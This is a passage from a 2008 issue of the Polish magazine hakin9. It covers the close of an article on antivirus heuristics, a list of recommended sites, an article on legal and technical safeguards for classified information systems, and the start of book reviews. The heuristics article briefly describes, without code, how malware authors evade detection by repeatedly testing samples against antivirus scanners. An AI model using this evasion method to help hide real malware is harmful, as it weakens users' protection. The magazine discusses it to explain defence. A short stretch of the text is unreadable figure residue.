Protection uniemożliwia taką in-
tegrację. Chociaż mechanizm ten
zabezpieczy system przed niektó-
rymi rootkitami, ich twórcy i tak są
w stanie go ominąć, wykorzystując
nielegalne sztuczki. Sztuczek tych
nie mogą jednak stosować produ-
cenci programów antywirusowych,
dzięki czemu złośliwe oprogramo-
wanie uzyskuje nad zabezpiecza-
jącym przewagę. Redukując moż-
liwości analizy behawioralnej Mi-
crosoft zmniejszył siłę heurystycz-
nej detekcji najpopularniejszych
zagrożeń, czyli działających w try-
bie użytkownika.
Wykrywanie anomalii
Kiedy mówimy o heurystycznej de-
tekcji niebezpiecznego oprogramo-
wania, możemy wyróżnić dwa typy
klasyfikacji, które faktycznie są wy-
krywaniem anomalii:
• wszystko, co nie jest podobne
do normalnego programu, jest
niebezpieczne,
• wszystko, co jest podobne do
niebezpiecznego programu, jest
niebezpieczne.
Pierwszy rodzaj wykrywania ano-
malii był skuteczny w przypadku in-
fektorów plików. Wykrywanie poli-
morfizmu i metamorfizmu, nietypo-
wej budowy plików czy kodu asem-
blerowego w punkcie wejścia pro-
gramu pozwalało na odróżnienie
plików bezpiecznych od zainfeko-
wanych. W momencie, gdy auto-
rzy złośliwych programów prze-
rzucili się na języki wysokiego po-
ziomu, programy bezpieczne i nie-
bezpieczne stały się zbyt podob-
ne, by można je było łatwo rozróż-
nić. Twórcom heurystyk pozostało
poszukiwanie podobieństw złośli-
wych programów do innych złośli-
wych programów. Co to oznacza?
Współcześnie nie jest możliwe wy-
krycie całkowicie nowego typu za-
grożenia, gdy nie ma ono cech
wspólnych z już istniejącymi.
Na szczęście dla użytkowni-
ków (i twórców programów antywi-
rusowych), autorzy złośliwych pro-
gramów wprowadzają w kolejnych
wersjach niewielkie zmiany, bazu-
ją na istniejących rozwiązaniach
i używają do zabezpieczenia plików
popularnych narzędzi. Dzięki temu
nowe zagrożenia posiadają wiele
cech wspólnych na wszystkich po-
ziomach, od podobieństwa binar-
nego, aż do podobieństwa opisane-
go w domenie zachowań (Rysunek
4). Już po otrzymaniu jednej prób-
ki program antywirusowy, wykorzy-
stujący zaawansowaną heurystykę,
jest w stanie wykryć wszystkie wa-
rianty tego zagrożenia.
Oszukiwanie heurystyki
Teoretycznie detekcja niebezpiecz-
nego programu, którego autor po-
starał się, żeby program nie był wy-
kryty, jest bardzo trudna. W sytu-
acji, gdy autor złośliwego programu
napisze go od podstaw, nie wzoru-
jąc się na istniejących rozwiąza-
niach, istnieje dość nikła szansa,
że algorytm heurystyczny go wy-
kryje. Jeszcze mniejsze jest praw-
dopodobieństwo wykrycia takiego
zagrożenia przy użyciu uogólnio-
nego wzorca. Co więcej, na sku-
tek dostępności darmowych lub te-
stowych wersji programów antywi-
rusowych, autor nowego programu
może sprawdzić, czy jest on wykry-
wany metodami heurystycznymi.
W takim przypadku może modyfi-
kować go do czasu, aż przestanie
być uznawany za podejrzany. Ist-
nieją również serwisy online ska-
nujące plik dużą liczbą silników an-
tywirusowych, takie jak Jotti's mal-
ware scan czy VirusTotal, z których
twórca robaka czy trojana może
skorzystać.
Z tego powodu firmy antywiruso-
we trzymają w rękawie kilka asów,
jakimi są niedostępne ogólnie me-
chanizmy detekcji, które umożliwia-
ją wczesne wykrycie nowego zagro-
żenia i dostarczenie próbki do firmy
w celu błyskawicznego przygotowa-
nia remedium.
Podsumowanie
Heurystyka w programach anty-
wirusowych ewoluuje wraz z za-
grożeniami. Programy antywiruso-
we od kilku lat nie służą jedynie
do wykrywania i usuwania wiru-
sów komputerowych, ale skupiają
się na ochronie użytkownika przed
szerokim wachlarzem ataków. Sta-
ły się pakietami zabezpieczający-
mi przed złośliwym oprogramo-
waniem, włamaniami, phishingiem,
rootkitami, a nawet spamem. Do
ich wykrycia mogą wykorzystać al-
bo wzorce, albo mechanizmy pre-
wencyjne, jakimi są współcześnie
heurystyki. Co jest skuteczniej-
sze? Wiadomo – lepiej zapobie-
gać, niż leczyć. l
O autorze
Jakub Dębski, starszy analityk w firmie ESET (producent programu NOD32), spe-
cjalizującej się w ochronie proaktywnej z wykorzystaniem najbardziej zaawanso-
wanych mechanizmów analizy heurystycznej. Wcześniej wieloletni pracownik pol-
skich firm antywirusowych. Był kierownikiem projektu silnika mks_vir, następnie
ArcaVir. Studia na Wojskowej Akademii Technicznej ukończył obroną pracy dy-
plomowej na temat wykorzystania sieci neuronowych w detekcji zagrożeń inter-
netowych.
Kontakt z autorem:debski.jakub@wp.pl
Strony rekomendowane
Misją serwisu jest zaprezentowanie języ-
ków programowania oraz ułatwienie użyt-
kownikowi ich szybkiej nauki.
http://www.cjp.xt.pl
Strona firmy świadczącej profesjonalne
usługii IT, specjalizującej się w wypożycza-
niu serwerów i macierzy. Firma prowadzi
także centrum szkoleniowe.
http://www.itlpolska.pl
Portal poświęcony technikom programo-
wania oraz sposobom ochrony przed za-
grożeniami jakie płyną z Internetu. Przedsta-
wione techniki służą do celów edukacyjnych,
nie należy ich wykorzystywać w niewłaści-
wy sposób.
http://www.hackerzy.pl
Portal internetowy poświęcony w całości
branży IT. Podzielony jest na trzy działy po-
święcone sprzętowi komputerowemu, grom
i rozrywce oraz najnowszym aplikacjom.
http://www.pcarena.pl/index.php
Do niedawna termin hacking był zarezerwo-
wany tylko dla profesjonalistów. Na tym por-
talu można dowiedzieć się więcej o tym za-
gadnieniu. Znajdują się na nim również aktu-
alności i obszerny dzial downloads.
http://www.hakerczat.prv.pl/index.html
Jest to portal dla wszystkich co interesują
się tematyką bezpieczeństwa, audytem, IT
Governance w sieciach i systemach telein-
formatycznych, a także ochroną danych.
http://www.locos.pl/
Witryna poświęcona w całości tematy-
ce hakingu. Początkujący w tej dziedzinie
znajdą na niej działy, ktore im umożliwią
rozpoczęcie nauki.
http://www.haker.ocom.pl/
Misją serwisu jest dostarczenie dużej ilo-
ści informacji z zakresu informatyki. Znaj-
dują się na nim ciekawe artykuły, najśwież-
sze informacje z rynku IT, recenzje książek
jak i kursy tworzenia portali www.
http://www.swww.pl/
Serwis poświęcony branży IT oferujący
codzienne newsy, artykuły, recenzje ma-
gazynów, testy oraz forum dyskusyjne.
http://www.webhat.pl/index.php
Strona dla każdego webmastera i hackera.
Jeśli zawsze chciałeś stworzyć swoją stro-
nę internetowej lub poznać haking od pod-
szewki, to ten serwis ci w tym pomoże.
http://web4u.neth.pl/
Strona internetowa firmy Fit Consulting spe-
cjalizującej się w nowoczesnych rozwią-
zaniach informatycznych, zaczynając od
sprzedaży sprzętu komputerowego i świad-
czeniu usług po zaawansowane rozwiązania
zarządzania przedsiębiorstwem.
http://www.fit-consulting.pl/
Strona koła naukowego PK IT Security Gro-
up. Koło ma na celu dostarczanie informacji
związanych z bezpieczeństwem.
http://www.pkitsec.pl/
Strony rekomendowane
www.hakin9.org
hakin9 Nr 01/2008
66
Bezpieczna Firma
Z
agadnienie bezpieczeństwa syste-
mów teleinformatycznych nabiera co-
raz większego znaczenia, ponieważ to
w nich informacja jest coraz częściej prze-
twarzana i przechowywana. Pod pojęciem
bezpieczeństwa teleinformatycznego infor-
macji niejawnych należy rozumieć ochro-
nę informacji niejawnych, które przetwarza-
ne są w systemach i sieciach teleinforma-
tycznych, przed utratą właściwości gwaran-
tujących bezpieczeństwo – a w szczególno-
ści przed utratą poufności, dostępności i in-
tegralności.
Za bezpieczeństwo przetwarzania infor-
macji niejawnych w systemach i sieciach te-
leinformatycznych odpowiada kierownik jed-
nostki organizacyjnej. Bezpieczeństwo tele-
informatyczne należy zapewnić przed rozpo-
częciem oraz w trakcie przetwarzania infor-
macji niejawnych. Rozdział 10 – Bezpieczeń-
stwo systemów i sieci teleinformatycznych
– ustawy o ochronie informacji niejawnych
określa podstawowe wymagania związane
z elektronicznym przetwarzaniem informacji
niejawnych. Szczegółowe wymagania tech-
niczne i organizacyjne związane z przetwa-
rzaniem informacji niejawnych w systemach
i sieciach teleinformatycznych oraz sposób
opracowywania dokumentacji bezpieczeń-
stwa teleinformatycznego określa zaś rozpo-
rządzenie Prezesa Rady Ministrów w sprawie
podstawowych wymagań bezpieczeństwa
teleinformatycznego. Kierownik jednostki or-
ganizacyjnej dla każdego sytemu lub sieci te-
leinformatycznej, w której przetwarza się in-
formacje niejawne, powinien wyznaczyć ad-
ministratora sytemu i inspektora bezpieczeń-
stwa teleinformatycznego. Administrator sys-
temu zgodnie z zapisami ustawy odpowiada
za funkcjonowanie systemu lub sieci telein-
formatycznej oraz za przestrzeganie zasad
i wymagań bezpieczeństwa systemów i sie-
ci teleinformatycznych, natomiast inspek-
Bezpieczeństwo
teleinformatyczne
informacji niejawnych
Andrzej Guzik
stopień trudności
Metody ochrony informacji niejawnych przetwarzanych
w systemach i sieciach teleinformatycznych, oprócz spełnienia
wymagań wynikających z przepisów prawa, wymagają
uwzględnienia wytycznych służb ochrony państwa dotyczących
bezpieczeństwa teleinformatycznego.
Z artykułu dowiesz się
• jak zapewnić bezpieczeństwo informacjom nie-
jawnym przetwarzanym w systemach i sieciach
teleinformatycznych
Co powinieneś wiedzieć
• znać podstawowe zasady ochrony informacji
niejawnych
Bezpieczeństwo informatyczne informacji niejawnych
hakin9 Nr 01/2008
www.hakin9.org
67
tor bezpieczeństwa teleinforma-
tycznego, pracownik pionu ochro-
ny, odpowiada za bieżącą kontrolę
zgodności funkcjonowania syste-
mu lub sieci teleinformatycznej ze
szczególnymi wymaganiami bez-
pieczeństwa oraz za kontrolę prze-
strzegania procedur bezpiecznej
eksploatacji. Ustawa określa rów-
nież wymagania dla osób odpo-
wiedzialnych za bezpieczeństwo
teleinformatyczne. Stanowisko lub
funkcję administratora sytemu al-
bo inspektora bezpieczeństwa te-
leinformatycznego mogą pełnić
osoby, które posiadają obywatel-
stwo polskie, posiadają poświad-
czenie bezpieczeństwa odpowied-
nie do klauzuli informacji niejaw-
nych przetwarzanych w systemach
lub sieciach teleinformatycznych,
które odbyły przeszkolenie w za-
kresie ochrony informacji niejaw-
nych i specjalistyczne szkolenie
z zakresu bezpieczeństwa tele-
informatycznego
prowadzonego
przez służby ochrony państwa. Ak-
tualnie kurs dla kandydatów na ad-
ministratorów systemu i inspekto-
rów bezpieczeństwa teleinforma-
tycznego trwa jeden dzień i kosz-
tuje 250 złotych. Systemy i sieci te-
leinformatyczne, w których prze-
twarza się informacje niejawne,
podlegają akredytacji przez służby
ochrony państwa. Dopuszczenie
sytemu lub sieci teleinformatycznej
do pracy następuje na podstawie
dokumentacji bezpieczeństwa te-
leinformatycznego, na którą skła-
dają się szczególne wymagania
bezpieczeństwa (SWB) i procedu-
ry bezpiecznej eksploatacji (PBE).
W zależności od klauzuli informacji
niejawnych przetwarzanych w sys-
temie, ww. dokumentacja podle-
ga uzgodnieniu lub zatwierdzeniu.
W przypadku informacji niejawnych
stanowiących tajemnicę państwo-
wą dokumentacja ta jest indywidu-
alnie zatwierdzana przez właści-
wą służbę ochrony państwa (Agen-
cję Bezpieczeństwa Wewnętrzne-
go lub Służbę Kontrwywiadu Woj-
skowego), w terminie 30 dni od jej
otrzymania. Natomiast w przypad-
ku tajemnicy służbowej niewniesie-
nie zastrzeżeń w terminie 30 dni od
jej przedstawienia przez kierowni-
ka jednostki organizacyjnej służ-
bom ochrony państwa upoważnia
do rozpoczęcia przetwarzania in-
formacji niejawnych w systemie lub
sieci teleinformatycznej. Dodat-
kowo dla systemów i sieci, w któ-
rych przetwarza się tajemnicę pań-
stwową, wymagany jest certyfikat
akredytacji bezpieczeństwa tele-
informatycznego. Ww. certyfikat
wydawany jest po przeprowadze-
niu postępowań sprawdzających
wobec osób mających dostęp do
systemu lub sieci, po zatwierdze-
niu przez właściwą służbę ochrony
państwa SWB i PBE oraz po prze-
prowadzeniu audytu bezpieczeń-
stwa systemu lub sieci teleinfor-
matycznej. Ww. audyt ma na celu
weryfikację poprawności realizacji
wymagań i procedur określonych
w SWB i PBE.
Dokumentacja
Dokumentację bezpieczeństwa te-
leinformatycznego, na którą skła-
dają się SWB i PBE, opracowuje
się po przeprowadzeniu analizy ry-
zyka z uwzględnieniem warunków
charakterystycznych dla jednost-
ki organizacyjnej, w której mają
być przetwarzane informacje nie-
jawne. Analizy ryzyka można do-
konać stosując na przykład meto-
dy opisane w raporcie technicznym
ISO/IEC TR 13335-3 Technika in-
formatyczna – Wytyczne do za-
rządzania bezpieczeństwem sys-
temów informatycznych, Część 3:
Techniki zarządzania bezpieczeń-
stwem systemów informatycznych.
Raport przedstawia cztery warian-
ty podejścia do analizy ryzyka: po-
dejście podstawowego poziomu
Tabela 1.
Zawartość dokumentu Szczególne Wymagania Bezpieczeństwa
Lp. Zawartość dokumentu SWB
1
osoby odpowiedzialne za wdrożenie środków zapewniających bez-
pieczeństwo teleinformatyczne
2
zadania osób odpowiedzialnych za bezpieczeństwo teleinformatycz-
ne
3
granice i lokalizacja stref kontrolowanego dostępu oraz środki ich
ochrony
4
środki ochrony kryptograficznej, elektromagnetycznej, technicznej
lub organizacyjnej systemu lub sieci teleinformatycznej
5
inne zastosowane środki ochrony zapewniające bezpieczeństwo te-
leinformatyczne informacji niejawnych
6
zasady zarządzania ryzykiem
7
zasady szkolenia z zakresu bezpieczeństwa teleinformatycznego
osób odpowiedzialnych za bezpieczeństwo teleinformatyczne oraz
osób uprawnionych do pracy w systemie lub sieci teleinformatycznej
Rysunek 1.
Bezpieczne stanowisko komputerowe – wersja z obudową
ekranującą
hakin9 Nr 01/2008
www.hakin9.org
Bezpieczna Firma
68
bezpieczeństwa, podejście niefor-
malne, szczegółową analizę ryzy-
ka i podejście mieszane. Podsta-
wowa różnica pomiędzy nimi doty-
czy stopnia szczegółowości anali-
zy ryzyka.
W oparciu o wyniki analizy ry-
zyka dobiera się zabezpieczenia.
Zastosowane zabezpieczenia po-
winny być efektywne kosztowo
i uwzględniać wymagania wynika-
jące z przepisów prawa, wymaga-
nia biznesowe i wymagania będą-
ce wynikiem analizy ryzyka. Ryzy-
ko, jakie powstaje po wprowadze-
niu zabezpieczeń, nazywamy ryzy-
kiem szczątkowym.
SWB powinny w sposób kom-
pletny i wyczerpujący opisywać
budowę, zasady działania i eks-
ploatacji oraz charakterystykę sy-
temu lub sieci teleinformatycznej.
Dane o systemie lub sieci teleinfor-
matycznej powinny obejmować: lo-
kalizację systemu, typ wykorzysty-
wanych urządzeń oraz oprogramo-
wania, sposób realizacji połączeń
wewnętrznych i zewnętrznych,
konfigurację sprzętową i ustawie-
nie mechanizmów zabezpieczają-
cych oraz opis środowiska eksplo-
atacji (opis środowiska globalne-
go, środowiska lokalnego i środo-
wiska elektronicznego). Natomiast
charakterystyka systemu lub sieci
teleinformatycznej powinna okre-
ślać między innymi klauzulę tajno-
ści informacji niejawnych, które bę-
dą w nich przetwarzane, katego-
rie uprawnień osób uprawnionych
do pracy w systemie lub sieci w za-
kresie dostępu do przetwarzanych
w nich informacji niejawnych (w za-
leżności od klauzuli tajności tych
informacji) oraz tryb bezpieczeń-
stwa pracy systemu lub sieci tele-
informatycznej (dedykowany, sys-
temowo-podwyższony lub wielopo-
ziomowy).
SWB opracowuje się w fazie
projektowania, na bieżąco rozwi-
ja w fazie wdrażania i modyfikuje
w fazie eksploatacji – przed doko-
naniem zmian w systemie lub sieci
teleinformatycznej. Z kolei PBE po-
winny opisywać sposób i tryb po-
stępowania w sprawach związa-
nych z bezpieczeństwem informacji
oraz określać zakres odpowiedzial-
ności użytkowników systemu i sie-
ci, a także pracowników mających
do nich dostęp.
PBE opracowuje się i uzupełnia
w fazie wdrażania oraz modyfikuje
w fazie eksploatacji – przed dokona-
niem zmian w systemie lub sieci te-
leinformatycznej.
Podstawowe
wymagania
Bezpieczeństwo teleinformatycz-
ne informacji niejawnych przetwa-
rzanych w systemach lub sieciach
teleinformatycznych zapewnia się
poprzez: ochronę fizyczną, ochro-
nę elektromagnetyczną, ochro-
nę kryptograficzną, niezawodność
Tabela 2.
Wykaz obowiązkowych procedur bezpiecznej eksploatacji
Lp. Procedury bezpieczeństwa
1
administrowania systemem lub siecią teleinformatyczną
2
bezpieczeństwa osobowego
3
bezpieczeństwa dokumentów i materiałów niejawnych, w tym pro-
cedur sporządzania kopii z tych dokumentów oraz niszczenia doku-
mentów i ich kopii
4
ochrony kryptograficznej, elektromagnetycznej, fizycznej, niezawod-
ności transmisji, kontroli dostępu do urządzeń systemu lub sieci tele-
informatycznej
5
bezpieczeństwa urządzeń i oprogramowania
6
zapewnienia ciągłości działania systemu lub sieci teleinformatycznej
7
zarządzania konfiguracją
8
audytu bezpieczeństwa
Rysunek 2.
Bezpieczne stanowisko komputerowe
Tabela 3.
Elementy bezpieczeństwa teleinformatycznego
informacji niejawnych
Lp. Elementy bezpieczeństwa teleinformatycznego
informacji niejawnych
1
ochrona fizyczna
2
kontrola dostępu do urządzeń systemu lub sieci teleinformatycznej
3
niezawodność transmisji
4
ochrona kryptograficzna
5
ochrona elektromagnetyczna
Bezpieczeństwo informatyczne informacji niejawnych
hakin9 Nr 01/2008
www.hakin9.org
69
transmisji i kontrolę dostępu do
urządzeń systemu lub sieci telein-
formatycznej.
Ochrona fizyczna
Ochronę fizyczną informacji niejaw-
nych zapewnia się poprzez utwo-
rzenie stref kontrolowanego dostę-
pu (strefa administracyjna, strefa
bezpieczeństwa, specjalna strefa
bezpieczeństwa) oraz zastosowa-
nie środków ochrony zabezpiecza-
jących pomieszczenia w tych stre-
fach. Środki ochrony fizycznej po-
winny zapewniać ochronę fizycz-
ną pomieszczeń przed: nieupraw-
nionym dostępem, podsłuchem
i podglądem. Przy stosowaniu
środków ochrony fizycznej obo-
wiązuje zasada adekwatności, tzn.
środki ochrony fizycznej powinny
odpowiadać klauzuli tajności i ilo-
ści informacji niejawnych, liczbie
i poziomowi dostępu do tych in-
formacji zatrudnionych osób oraz
uwzględniać wytyczne służb ochro-
ny państwa przed zagrożeniami ze
strony obcych służb specjalnych
(w tym także w stosunku do pań-
stwa sojuszniczego). Strefa admini-
stracyjna powinna zapewniać kon-
trolę osób i pojazdów, natomiast
w strefie bezpieczeństwa należy
zapewnić kontrolę wejść i wyjść
oraz kontrolę przebywania. W tym
celu należy wprowadzić system
przepustek lub inny system kontro-
li dostępu uprawniający do wejścia
Rysunek 3.
Przykłady obudów ekranujących
Rysunek 4.
Przykład pomieszczenia do przetwarzania informacji niejawnych
���������������
������������
������������
��������������
����������������
�����������������
��������
��
����������������������������������
�����������
�������
��������������
����
�������������
����������������
����������������
���������������
�����������
������������
�������������
������
��������������������������������������������������������������������
������������������������������������������������������
���������������������������������������������������������������������
hakin9 Nr 01/2008
www.hakin9.org
Bezpieczna Firma
70
do strefy bezpieczeństwa, a także
zorganizować system przechowy-
wania kluczy do pomieszczeń chro-
nionych, szaf pancernych i innych
pojemników służących do prze-
chowywania informacji niejawnych
stanowiących tajemnicę państwo-
wą. Środki ochrony fizycznej po-
winny posiadać certyfikaty i świa-
dectwa kwalifikacyjne przyznane
na podstawie innych przepisów,
np. w oparciu o polskie normy.
Informacje niejawne o klauzu-
li zastrzeżone można przetwarzać
w strefie administracyjnej, natomiast
informacje stanowiące tajemnicę
państwową i służbową o klauzuli
poufne można przetwarzać w stre-
fie bezpieczeństwa. Przetwarza-
nie informacji niejawnych o klauzuli
zastrzeżone wiąże się z zapewnie-
niem ochrony fizycznej, kontroli do-
stępu do urządzeń systemu lub sie-
ci teleinformatycznej oraz z zapew-
nieniem niezawodności transmisji.
W przypadku przetwarzania infor-
macji niejawnych stanowiących ta-
jemnicę państwową i tajemnicę
służbową o klauzuli poufne należy
– oprócz wymagań jak dla klauzu-
li zastrzeżone – zapewnić ochronę
kryptograficzną i ochronę elektro-
magnetyczną.
Ochrona
elektromagnetyczna
Ochrona elektromagnetyczna sys-
temu lub sieci teleinformatycz-
nej polega na niedopuszczeniu do
utraty poufności i dostępności in-
formacji niejawnych przetwarza-
nych w urządzeniach teleinforma-
tycznych. Utrata poufności nastę-
puje na skutek emisji ujawniającej
pochodzącej z tych urządzeń. Na-
tomiast utrata dostępności nastę-
puje w wyniku zakłócenia pracy
urządzeń teleinformatycznych za
pomocą impulsów elektromagne-
tycznych o dużej mocy. Ochronę
elektromagnetyczną zapewnia się
przez umieszczanie urządzeń te-
leinformatycznych, połączeń i linii
w strefach kontrolowanego dostę-
pu spełniających wymagania w za-
kresie tłumienności elektromagne-
tycznej lub przez zastosowanie od-
Podstawowe pojęcia związane z bezpieczeństwem
teleinformatycznym
• bezpieczeństwo teleinformatyczne – należy przez nie rozumieć ochronę informacji
niejawnych przed utratą właściwości gwarantujących bezpieczeństwo, w szczegól-
ności przed utratą poufności, dostępności i integralności,
• incydent bezpieczeństwa teleinformatycznego – każde zdarzenie naruszają-
ce bezpieczeństwo teleinformatyczne, spowodowane w szczególności awa-
rią systemu lub sieci teleinformatycznej, działaniem osób uprawnionych lub
nieuprawnionych do pracy w tym systemie lub sieci albo zaniechaniem osób
uprawnionych,
• akredytacja bezpieczeństwa teleinformatycznego – dopuszczenie systemu lub
sieci teleinformatycznej do wytwarzania, przetwarzania, przechowywania lub
przekazywania informacji niejawnych,
• certyfikat akredytacji bezpieczeństwa teleinformatycznego – dopuszczenie syste-
mu lub sieci teleinformatycznej do przetwarzania informacji niejawnych stanowią-
cych tajemnicę państwową,
• dokumentacja bezpieczeństwa teleinformatycznego systemu lub sieci teleinfor-
matycznej – szczególne wymagania bezpieczeństwa oraz procedury bezpiecznej
eksploatacji danego systemu lub sieci teleinformatycznej, sporządzone zgodnie
z zasadami określonymi w ustawie,
• szczególne wymagania bezpieczeństwa (SWB) – dokument wyczerpująco opi-
sujący budowę oraz zasady działania i eksploatacji systemu lub sieci teleinfor-
matycznej,
• procedury bezpiecznej eksploatacji (PBE) – dokument określający zasady i tryb
postępowania w sprawach związanych z bezpieczeństwem teleinformatycznym,
a także zakres odpowiedzialności użytkowników systemu lub sieci teleinforma-
tycznej oraz personelu teleinformatycznego,
• administrator systemu – osoba lub zespół osób odpowiedzialnych za funk-
cjonowanie systemów lub sieci teleinformatycznej oraz za przestrzeganie
zasad i wymagań bezpieczeństwa systemów i sieci teleinformatycznej,
• inspektor bezpieczeństwa teleinformatycznego – pracownik pionu ochrony
odpowiedzialny za bieżącą kontrolę zgodności funkcjonowania systemu lub
sieci teleinformatycznej ze SWB oraz za kontrolę przestrzegania PBE.
Podstawy prawne
• Rozdział 10 – Bezpieczeństwo systemów i sieci teleinformatycznych – ustawa
z dnia 22 stycznia 1999 roku o ochronie informacji niejawnych (Dz. U. z 2005 r.
Nr 196, poz. 1631 ze zmianami).
• Rozporządzenie Prezesa Rady Ministrów z dnia 25 sierpnia 2005 roku w sprawie
podstawowych wymagań bezpieczeństwa teleinformatycznego (Dz. U. Nr 171,
poz. 1433).
• Zalecenia Departamentu Bezpieczeństwa Teleinformatycznego Agencji
Bezpieczeństwa Wewnętrznego w sprawie bezpieczeństwa teleinformatycz-
nego.
powiednich urządzeń teleinforma-
tycznych, tzw. bezpiecznych sta-
nowisk komputerowych, które speł-
niają normę TEMPEST (Temporary
Emanation and Spurious Transmis-
sion), połączeń i linii o obniżonym
poziomie emisji, czy też wreszcie
ekranowanie urządzeń teleinfor-
matycznych, połączeń i linii z jed-
noczesnym filtrowaniem zewnętrz-
nych linii zasilających i sygnało-
wych. Urządzenia klasy TEMPEST
wykonywane są w trzech klasach
bezpieczeństwa elektromagnetycz-
nego: AMSG 720 B, AMSG 788,
AMSG 784. Środki ochrony elek-
tromagnetycznej powinny posiadać
certyfikat ochrony elektromagne-
tycznej wydany przez służby ochro-
ny państwa. Listę certyfikowanych
Bezpieczeństwo informatyczne informacji niejawnych
środków oraz ich producentów
można znaleźć na stronie interne-
towej ABW (www.abw.gov.pl).
Ochrona
kryptograficzna
Ochrona kryptograficzna informa-
cji niejawnych, które przetwarza-
ne są w systemie lub sieci teleinfor-
matycznej, polega na zastosowaniu
mechanizmów gwarantujących ich
poufność, integralność oraz uwie-
rzytelnienie. Siła mechanizmów
kryptograficznych musi być odpo-
wiednia do klauzuli informacji nie-
jawnych. Ochronę kryptograficzną
stosuje się w przypadku przekazy-
wania informacji niejawnych – w for-
mie transmisji lub utrwalonych na
elektronicznych nośnikach informa-
cji – poza strefę kontrolowanego
dostępu. Ochronę kryptograficz-
ną stosuje się od klauzuli poufne
wzwyż. Środki ochrony kryptogra-
ficznej powinny posiadać certyfi-
kat ochrony kryptograficznej wyda-
ny przez służby ochrony państwa.
Listę certyfikowanych środków oraz
ich producentów można znaleźć na
stronie internetowej ABW.
Niezawodność
transmisji
Niezawodność transmisji polega na
zapewnieniu integralności i dostęp-
ności informacji niejawnych przeka-
zywanych w systemach i sieciach
teleinformatycznych. Zapewnia się
ją w szczególności poprzez zapew-
nienie zapasowych łączy telekomu-
nikacyjnych.
Kontrola dostępu
W celu zapewnienia kontroli dostę-
pu do systemu lub sieci teleinfor-
matycznej kierownik jednostki or-
ganizacyjnej lub osoba przez nie-
go upoważniona powinna usta-
lić warunki i sposób przydzielania
uprawnień osobom uprawnionym
do pracy w systemie lub sieci te-
leinformatycznej. Natomiast admi-
nistrator systemu powinien określić
warunki oraz sposób przydzielania
tym osobom kont i mechanizmów
kontroli dostępu, a także zapewnić
ich właściwe wykorzystanie. Przy
przetwarzaniu informacji niejaw-
nych stanowiących tajemnicę pań-
stwową należy zadbać o uniemożli-
wienie jednej osobie w sposób nie-
kontrolowany dostępu do wszyst-
kich zasobów systemu lub sieci te-
leinformatycznej.
Podsumowanie
Przepisy prawa określają minimalne
wymagania związane z bezpieczeń-
stwem teleinformatycznym informa-
cji niejawnych. Oprócz nich należy
uwzględnić zalecenia służb ochro-
ny państwa dotyczące bezpieczeń-
stwa teleinformatycznego informacji
niejawnych oraz polskie normy do-
tyczące bezpieczeństwa informacji.
Normy te stanowią źródło tzw. do-
brych praktyk, a w szczególności są
to: PN-ISO/IEC 17799: 2007 Tech-
nika informatyczna – Techniki bez-
pieczeństwa – Praktyczne zasady
zarządzania bezpieczeństwem in-
formacji i PN-ISO/IEC 27001: 2007
Technika informatyczna – Techniki
bezpieczeństwa – Systemy zarzą-
dzania bezpieczeństwem informacji
– Wymagania. l
R
E
K
L
A
M
A
O autorze
Andrzej Guzik – audytor systemów zarządzania jakością i zarządzania bezpieczeń-
stwem informacji, specjalista w zakresie ochrony informacji prawnie chronionych, re-
daktor portalu www.ochronainformacji.pl
Kontakt z autorem: a.guzik@ochronainformacji.pl
hakin9 Nr 01/2008
www.hakin9.org
72
Księgozbiór
Księgozbiór
hakin9 Nr 01/2008
www.hakin9.org
73
Tytuł: E-biznes bez ryzyka. Zarządzanie bezpieczeństwem w Sieci
Autor: Jonathan Reuvid
Wydawca: Helion
Rok wydania w Polsce: 2007
Liczba stron: 256
E-biznes i bezpieczeństwo to słowa, które w ostat-
nim czasie robią furorę. Większość przedsiębiorstw
poza fizycznymi oddziałami posiada te mniej namacal-
ne – wirtualne. Z drugiej strony obserwuje się coraz bar-
dziej wyrafinowane techniki oszustw i wyłudzeń, żerujące
na nieświadomych i naiwnych użytkownikach Internetu.
Właśnie te zagadnienia – i wiele więcej – porusza Jona-
than Reuvid w swojej książce pod tytułem E-biznes bez
ryzyka. Zarządzanie bezpieczeństwem w Sieci.
Pozycja została podzielona na pięć głównych części
traktujących kolejno o: zagrożeniach dla informacji i sys-
temów informacyjnych, rodzajach ryzyka i źródłach
zagrożeń, ochronie oprogramowania i danych osobo-
wych, zarządzaniu działaniami operacyjnymi i dobrej
praktyce oraz o planowaniu awaryjnym i przywróceniu
poprawnego funkcjonowania organizacji po wystąpieniu
zdarzenia kryzysowego. Po tych kilku tytułach można
wnioskować, że autor porusza ważne i aktualne proble-
my elektronicznego biznesu.
Wśród wielu istotnych kwestii znajdziemy tematy,
które nie są często podejmowane przez innych autorów,
m. in. monitoring pracowników, jego zasadność i pod-
stawy prawne, kwestię urządzeń mobilnych i ich wyko-
rzystania poza czasem pracy (ilu pracodawców wie, co
z laptopami robią ich podwładni w domu?), zmniejsza-
nie ryzyka – od metody małych kroków poprzez szyb-
kie metody na radykalnych rozwiązaniach kończąc, czy
wreszcie systemy uwierzytelniania i święcąca w ostat-
nim czasie tryumfy biometria. Na pierwszy rzut oka nie-
które rozdziały wydają się nieaktualne – jak choćby Bez-
pieczeństwo sieciowe w 2005 roku, jednak po dokład-
niejszym ich przestudiowaniu widać, że wskazują na
bardzo aktualne problemy. Z zalet książki warto również
wymienić przystępny język, łatwość z jaką się ją czyta
oraz metodę wyjaśniania terminów na zasadzie analogii
i obrazów. Studia przypadku z ostatnich rozdziałów są
ciekawym podsumowaniem przedstawionych zagadnień.
Na poczet plusów należy także zaliczyć wyważe-
nie treści pod względem liczby odwołań do standardów
i specyfikacji, która nie jest ani zbyt skromna, ani nie przy-
tłacza. Cieszy fakt, że uzupełniono tekst o polskie stan-
dardy razem z ich omówieniem. Z drobiazgów ujął mnie
zrzut ekranu z polskiej strony Google prezentujący wyniki
w ojczystym języku – szczegół, ale cieszy i podkreśla sza-
cunek dla czytelnika.
Komu poleciłbym tę pozycję? Praktycznie każde-
mu człowiekowi zainteresowanemu bezpieczeństwem.
Książka nie odstręcza fachowością, ale z drugiej strony
nie jest trywialna. Poruszane zagadnienia są aktualne
i często krytyczne dla funkcjonowania e-biznesu. Prak-
tyczne rady, w jaki sposób zmniejszać ryzyko i zwalczać
typowe problemy, znacząco podnoszą wartość pozycji.
Marcin Kulawinek
Tytuł: PHP Bezpieczne Programowanie
Autor: Chris Shiflett
Wydawca: Helion
Rok wydania w Polsce: 2006
Liczba stron: 128
Bezpieczeństwo odgrywa ważną rolę w serwisach webo-
wych. Bez zapewnienia odpowiedniego poziomu bez-
pieczeństwa nie byłoby banków internetowych, klientów
pocztowych uruchamianych z poziomu przeglądarki, sys-
